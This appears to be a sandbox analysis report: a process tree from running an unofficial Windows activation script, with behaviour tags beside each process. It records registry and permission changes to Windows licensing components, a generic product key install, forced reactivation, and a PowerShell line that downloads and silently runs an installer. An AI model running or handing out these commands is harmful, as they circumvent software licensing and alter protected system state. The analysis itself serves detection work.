C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0" /f ba02fed39662 /d5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore 2>nul5⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore6⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'C:\Windows\System32\spp\store\2.0' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow FullControl') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'HKLM:\SYSTEM\WPA' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow QueryValues, EnumerateSubKeys, WriteKey') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$acl = (Get-Acl 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' | fl | Out-String); if (-not ($acl -match 'NT SERVICE\\sppsvc Allow SetValue') -or ($acl -match 'NT SERVICE\\sppsvc Deny')) {Exit 2}"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion"5⤵
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$netServ = (New-Object Security.Principal.SecurityIdentifier('S-1-5-20')).Translate([Security.Principal.NTAccount]).Value; $aclString = Get-Acl 'Registry::HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies' | Format-List | Out-String; if (-not ($aclString.Contains($netServ + ' Allow FullControl') -or $aclString.Contains('NT SERVICE\sppsvc Allow FullControl')) -or ($aclString.Contains('Deny'))) {Exit 3}"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':wpatest\:.*';. ([scriptblock]::Create($f[1]))" 2>nul5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':wpatest\:.*';. ([scriptblock]::Create($f[1]))"6⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedTSReArmed"5⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ClipSVC\Volatile\PersistedSystemState"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey is not null) get ID /VALUE" 2>nul5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and PartialProductKey is not null) get ID /VALUE6⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND LicenseDependsOn is NULL AND PartialProductKey IS NOT NULL) get LicenseFamily /VALUE" 2>nul5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND LicenseDependsOn is NULL AND PartialProductKey IS NOT NULL) get LicenseFamily /VALUE6⤵
-
-
-
C:\Windows\System32\sc.exesc query wlms5⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe"5⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SLsvc.exe"5⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe"5⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe\PerfOptions"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm" 2>nul5⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm"6⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Get-WmiObject -Query 'SELECT Description FROM SoftwareLicensingProduct WHERE PartialProductKey IS NOT NULL AND LicenseDependsOn IS NULL' | Select-Object -Property Description"5⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "KMS_"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$s=New-Object -ComObject 'Schedule.Service'; $s.Connect(); $state=$s.GetFolder('\Microsoft\Windows\SoftwareProtectionPlatform').GetTask('SvcRestartTask').State; @{0='Unknown';1='Disabled';2='Queued';3='Ready';4='Running'}[$state]" 2>nul5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$s=New-Object -ComObject 'Schedule.Service'; $s.Connect(); $state=$s.GetFolder('\Microsoft\Windows\SoftwareProtectionPlatform').GetTask('SvcRestartTask').State; @{0='Unknown';1='Disabled';2='Queued';3='Ready';4='Running'}[$state]"6⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "5⤵
-
-
C:\Windows\System32\find.exefind /i "Ready"5⤵
-
-
C:\Windows\System32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "actionlist" /f5⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Removed" "5⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Removed Not Found"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE" 2>nul5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE6⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "0724cb7d-3437-4cb7-93cb-830375d0079d 16e50fa1-a5a0-479f-aa81-90756738b4f1 299d7afe-0eac-400f-b6c7-da11a8b2a756 30a42c86-b7a0-4a34-8c90-ff177cb2acb7 32d2fab3-e4a8-42c2-923b-4bf4fd13e6ee 357eb3d2-42c6-4731-ac66-df185cdd3683 59eb965c-9150-42b7-a0ec-22151b9897c5 5a85300a-bfce-474f-ac07-a30983e3fb90 60b3ec1b-9545-4921-821f-311b129dd6f6 6c4de1b8-24bb-4c17-9a77-7b939414c298 7a802526-4c94-4bd1-ba14-835a1aca2120 90da7373-1c51-430b-bf26-c97e9c5cdc31 d4f9b41f-205c-405e-8e08-3d16e88e02be d552befb-48cc-4327-8f39-47d2d94f987c e923d769-e71d-4c2a-925a-93547cbe6547 ec95c5fa-85de-463d-a6c4-aa9a1cd2ce12 f6e29426-a256-4316-88bf-cc5b0f95ec0c " "5⤵
-
-
C:\Windows\System32\find.exefind /i "ed655016-a9e8-4434-95d9-4345352c2552"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "0724cb7d-3437-4cb7-93cb-830375d0079d 16e50fa1-a5a0-479f-aa81-90756738b4f1 299d7afe-0eac-400f-b6c7-da11a8b2a756 30a42c86-b7a0-4a34-8c90-ff177cb2acb7 32d2fab3-e4a8-42c2-923b-4bf4fd13e6ee 357eb3d2-42c6-4731-ac66-df185cdd3683 59eb965c-9150-42b7-a0ec-22151b9897c5 5a85300a-bfce-474f-ac07-a30983e3fb90 60b3ec1b-9545-4921-821f-311b129dd6f6 6c4de1b8-24bb-4c17-9a77-7b939414c298 7a802526-4c94-4bd1-ba14-835a1aca2120 90da7373-1c51-430b-bf26-c97e9c5cdc31 d4f9b41f-205c-405e-8e08-3d16e88e02be d552befb-48cc-4327-8f39-47d2d94f987c e923d769-e71d-4c2a-925a-93547cbe6547 ec95c5fa-85de-463d-a6c4-aa9a1cd2ce12 f6e29426-a256-4316-88bf-cc5b0f95ec0c " "5⤵
-
-
C:\Windows\System32\find.exefind /i "6c4de1b8-24bb-4c17-9a77-7b939414c298"5⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call InstallProductKey ProductKey="CGK42-GYN6Y-VD22B-BX98W-J8JXD"5⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 05⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call RefreshLicenseStatus5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Control Panel\International\Geo" /v Name 2>nul5⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Control Panel\International\Geo" /v Name6⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKCU\Control Panel\International\Geo" /v Nation 2>nul5⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Control Panel\International\Geo" /v Nation6⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':sign\:.*';. ([scriptblock]::Create($f[1]))"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Start-Job { Restart-Service ClipSVC } | Wait-Job -Timeout 20 | Out-Null"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\ClipUp.execlipup -v -o5⤵
-
C:\Windows\System32\clipup.execlipup -v -o -ppl C:\Users\Admin\AppData\Local\Temp\temCE2.tmp6⤵
- Checks SCSI registry key(s)
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Windows 11 IoT Enterprise LTSC" "5⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"5⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND PartialProductKey IS NOT NULL AND LicenseDependsOn is NULL" call Activate5⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 05⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get Name /value5⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"5⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /v "State" /f5⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState" /v "SuppressRulesEngine" /f5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Start-Job { Stop-Service sppsvc -force } | Wait-Job -Timeout 20 | Out-Null; $TB = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1).DefineDynamicModule(2, $False).DefineType(0); [void]$TB.DefinePInvokeMethod('SLpTriggerServiceWorker', 'sppc.dll', 22, 1, [Int32], @([UInt32], [IntPtr], [String], [UInt32]), 1, 3); [void]$TB.CreateType()::SLpTriggerServiceWorker(0, 0, 'reeval', 0)"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\timeout.exetimeout /t 25⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "5⤵
-
-
C:\Windows\System32\find.exefind /i "/Z-"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "5⤵
-
-
C:\Windows\System32\find.exefind /i "/K-"5⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "5⤵
-
-
C:\Windows\System32\find.exefind /i "/Ohook"5⤵
-
-
-
-
-
C:\Windows\system32\userinit.exeC:\Windows\system32\userinit.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE2⤵
- Boot or Logon Autostart Execution: Active Setup
- Drops desktop.ini file(s)
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /43⤵
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -C $u=$env:TEMP+'\'+(Get-Random)+'.exe';iwr 'https://dl.google.com/chrome/install/latest/chrome_installer.exe' -Out $u;Start-Process $u '/silent /install';Start-Sleep -s 120;gps | ?{$_.Name -match 'chrome|google' -or $_.Description -match 'chrome|google'} -EA 0 | stop-process -F;ri $u -F -EA 04⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Temp\675178271.exe"C:\Users\Admin\AppData\Local\Temp\675178271.exe" /silent /install5⤵
- Drops file in Windows directory
- Executes dropped EXE
-
C:\Windows\SystemTemp\Google4988_325080669\bin\updater.exe"C:\Windows\SystemTemp\Google4988_325080669\bin\updater.exe" --silent --install --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&browser=0&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&brand=GTPM --enable-logging --vmodule=*/components/winhttp/*=1,*/components/update_client/*=2,*/chrome/enterprise_companion/*=2,*/chrome/updater/*=26⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SystemTemp\Google4988_325080669\bin\updater.exeC:\Windows\SystemTemp\Google4988_325080669\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=151.0.7910.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2b0,0x2b4,0x2b8,0x2ac,0x2bc,0xd812f4,0xd81300,0xd8130c7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\aria-debug-236.log3⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.bing.com/search?q=msedge.exe Crashpad"3⤵
-
-
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\coredpussvr.exeC:\Windows\System32\coredpussvr.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -s LxpSvc1⤵
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /svc1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\brave_installer-x64.exe"C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\brave_installer-x64.exe" --do-not-launch-chrome /installerdata="C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\gui17C1.tmp"2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\CR_52AF5.tmp\setup.exe"C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\CR_52AF5.tmp\setup.exe" --install-archive="C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\CR_52AF5.tmp\CHROME.PACKED.7Z" --do-not-launch-chrome /installerdata="C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\gui17C1.tmp"3⤵
- Boot or Logon Autostart Execution: Active Setup
- Drops file in Program Files directory
- Drops file in Windows directory
- Executes dropped EXE
- Modifies registry class
-
C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\CR_52AF5.tmp\setup.exe"C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\CR_52AF5.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://cr.brave.com --annotation=plat=Win64 --annotation=prod=Brave --annotation=ver=150.1.92.134 --attachment=C:\Windows\SystemTemp\chromium_installer.log "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater.log" "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater_history.jsonl" --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x7ff766cfcae8,0x7ff766cfcaf4,0x7ff766cfcb004⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\CR_52AF5.tmp\setup.exe"C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\CR_52AF5.tmp\setup.exe" --system-level --verbose-logging --installerdata="C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\gui17C1.tmp" --create-shortcuts=0 --install-level=14⤵
- Executes dropped EXE
-
C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\CR_52AF5.tmp\setup.exe"C:\Program Files (x86)\BraveSoftware\Update\Install\{2F08D141-69D8-4E3F-919D-06ACFF3A5DD7}\CR_52AF5.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://cr.brave.com --annotation=plat=Win64 --annotation=prod=Brave --annotation=ver=150.1.92.134 --attachment=C:\Windows\SystemTemp\chromium_installer.log "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater.log" "--attachment=C:\Program Files (x86)\BraveSoftware\BraveUpdater\updater_history.jsonl" --initial-client-data=0x2ac,0x2b0,0x2b4,0x288,0x2b8,0x7ff766cfcae8,0x7ff766cfcaf4,0x7ff766cfcb005⤵
- Executes dropped EXE
-
-
-
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNjEuMTUxIiBzaGVsbF92ZXJzaW9uPSIxLjMuMzYxLjE1MSIgaXNtYWNoaW5lPSIxIiBzZXNzaW9uaWQ9IntBMDZCM0NFMS03NzRGLTQ3QzQtQUJFMi03RDQ0QzQ4MDhCQjF9IiBpbnN0YWxsc291cmNlPSJvdGhlcmluc3RhbGxjbWQiIHRlc3Rzb3VyY2U9ImF1dG8iIHJlcXVlc3RpZD0iezRCODBGODQ2LUM1MkItNDYwQS1BNzJBLUNCM0QwNUY4MEQ5RH0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iMTYiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjEwLjAuMjYxMDAuMTc0MiIgc3A9IiIgYXJjaD0ieDY0Ii8-PGFwcCBhcHBpZD0ie0FGRTZBNDYyLUM1NzQtNEI4QS1BRjQzLTRDQzYwREY0NTYzQn0iIHZlcnNpb249IiIgbmV4dHZlcnNpb249IjE1MC4xLjkyLjEzNCIgYXA9InJlbGVhc2UiIGxhbmc9IiIgYnJhbmQ9IiIgY2xpZW50PSIiIGluc3RhbGxhZ2U9Ii0xIiBpbnN0YWxsZGF0ZT0iLTEiPjxldmVudCBldmVudHR5cGU9IjkiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSI1IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgZG93bmxvYWRlcj0iYml0cyIgdXJsPSJodHRwczovL3VwZGF0ZXMtY2RuLmJyYXZlc29mdHdhcmUuY29tL2J1aWxkL0JyYXZlLVJlbGVhc2UvcmVsZWFzZS93aW4vMTUwLjEuOTIuMTM0L3g2NC9icmF2ZV9pbnN0YWxsZXIteDY0LmV4ZSIgZG93bmxvYWRlZD0iMTUwMTEyODQ4IiB0b3RhbD0iMTUwMTEyODQ4IiBkb3dubG9hZF90aW1lX21zPSIxMzI5MCIvPjxldmVudCBldmVudHR5cGU9IjEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSI2IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMTk2NzA3IiBzb3VyY2VfdXJsX2luZGV4PSIwIiB1cGRhdGVfY2hlY2tfdGltZV9tcz0iMzEyIiBkb3dubG9hZF90aW1lX21zPSIxNTM5NiIgZG93bmxvYWRlZD0iMTUwMTEyODQ4IiB0b3RhbD0iMTUwMTEyODQ4IiBpbnN0YWxsX3RpbWVfbXM9IjM4NDkzIi8-PC9hcHA-PC9yZXF1ZXN0Pg2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\system32\Clipup.exe"C:\Windows\system32\Clipup.exe" -o1⤵
-
C:\Windows\system32\Clipup.exe"C:\Windows\system32\Clipup.exe" -o -ppl C:\Windows\SystemTemp\temB7B.tmp2⤵
- Checks SCSI registry key(s)
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\151.0.7910.0\updater.exe" --system --windows-service --service=update-internal1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Modifies registry class
-
